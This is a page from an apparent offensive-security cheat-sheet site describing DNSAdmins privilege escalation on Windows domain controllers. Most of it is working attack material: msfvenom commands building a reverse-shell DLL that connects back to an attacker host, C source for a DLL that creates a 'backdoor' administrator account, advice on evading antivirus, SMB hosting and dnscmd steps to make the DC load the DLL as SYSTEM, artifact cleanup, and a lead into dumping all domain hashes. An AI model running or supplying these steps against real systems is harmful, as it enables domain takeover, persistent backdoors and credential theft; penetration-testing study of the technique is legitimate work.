Skip to content
HackIndex logo

HackIndex

DNSAdmins Privilege Escalation

3 min read Jun 9, 2026

Members of the DNSAdmins group can configure the DNS service via RPC. One setting, ServerLevelPluginDll, specifies a DLL path the DNS service loads at startup. Because DNS runs as SYSTEM on domain controllers, loading a malicious DLL executes arbitrary code as SYSTEM without requiring Domain Admin rights first.

Confirm DNSAdmins membership

┌──(kali㉿kali)-[~]
└─$ # List DNSAdmins members
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --groups | grep -i dns
 
┌──(kali㉿kali)-[~]
└─$ # Full member list via bloodyAD
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "DNSAdmins" --attr member
LDAP  10.10.10.10  389  DC01  DNSAdmins  membercount: 2
member: CN=jsmith,CN=Users,DC=corp,DC=local

Create the malicious DLL

Build a DLL that runs a reverse shell or adds a local administrator. The DLL executes as SYSTEM on the DC when the DNS service loads it.

┌──(kali㉿kali)-[~]
└─$ # Reverse shell — start listener before triggering: nc -nlvp $LPORT
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f dll -o dns_plugin.dll
 
┌──(kali㉿kali)-[~]
└─$ # Add local admin — no outbound connection needed
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/exec CMD="net user backdoor Password123! /add && net localgroup administrators backdoor /add" -f dll -o dns_plugin.dll

Cross-compiling from C produces a smaller DLL and triggers fewer AV detections than msfvenom:

#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
    if (reason == DLL_PROCESS_ATTACH) {
        system("net user backdoor Password123! /add");
        system("net localgroup administrators backdoor /add");
    }
    return TRUE;
}
┌──(kali㉿kali)-[~]
└─$ x86_64-w64-mingw32-gcc -shared -o dns_plugin.dll dns_plugin.c

Host the DLL via SMB

The DNS service reads the DLL from a UNC path. Serve it from Kali via impacket-smbserver so the DC pulls it over the network.

┌──(kali㉿kali)-[~]
└─$ # Serve current directory as SMB share
┌──(kali㉿kali)-[~]
└─$ impacket-smbserver share . -smb2support
 
┌──(kali㉿kali)-[~]
└─$ # With credentials (required if anonymous access is blocked)
┌──(kali㉿kali)-[~]
└─$ impacket-smbserver share . -smb2support -username $USER -password $PASSWORD

The plugin path for the DNS config will be \\$LHOST\share\dns_plugin.dll.

Configure the plugin and trigger

Run dnscmd.exe from a shell where the current token belongs to DNSAdmins. Restarting the DNS service triggers DLL load.

PS C:\Users\Guest\Desktop> # Set plugin path via DNSAdmins RPC rights
PS C:\Users\Guest\Desktop> dnscmd.exe $TARGET_IP /config /serverlevelplugindll \\$LHOST\share\dns_plugin.dll
 
PS C:\Users\Guest\Desktop> # Restart DNS service to load the DLL
PS C:\Users\Guest\Desktop> sc.exe \\$TARGET_IP stop dns
PS C:\Users\Guest\Desktop> sc.exe \\$TARGET_IP start dns
Registry property serverlevelplugindll successfully reset.

Stopping DNS briefly interrupts name resolution across the entire domain. If using a reverse shell payload, start the listener before restarting the service.

┌──(kali㉿kali)-[~]
└─$ # Set plugin via exec — requires local admin or DA rights on DC
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -x "dnscmd.exe /config /serverlevelplugindll \\\\$LHOST\\share\\dns_plugin.dll"
 
┌──(kali㉿kali)-[~]
└─$ # Restart DNS
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -x "sc.exe stop dns && sc.exe start dns"

Cleanup

Remove the plugin path after execution to restore normal DNS operation and reduce artifacts.

PS C:\Users\Guest\Desktop> # Clear plugin path
PS C:\Users\Guest\Desktop> dnscmd.exe $TARGET_IP /config /serverlevelplugindll ""
 
PS C:\Users\Guest\Desktop> # Or delete directly from registry
PS C:\Users\Guest\Desktop> reg delete "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f
 
PS C:\Users\Guest\Desktop> # Restart DNS to apply
PS C:\Users\Guest\Desktop> sc.exe \\$TARGET_IP stop dns
PS C:\Users\Guest\Desktop> sc.exe \\$TARGET_IP start dns

With SYSTEM on the DC, proceed to DCSync and Domain Takeover to dump all domain hashes.

References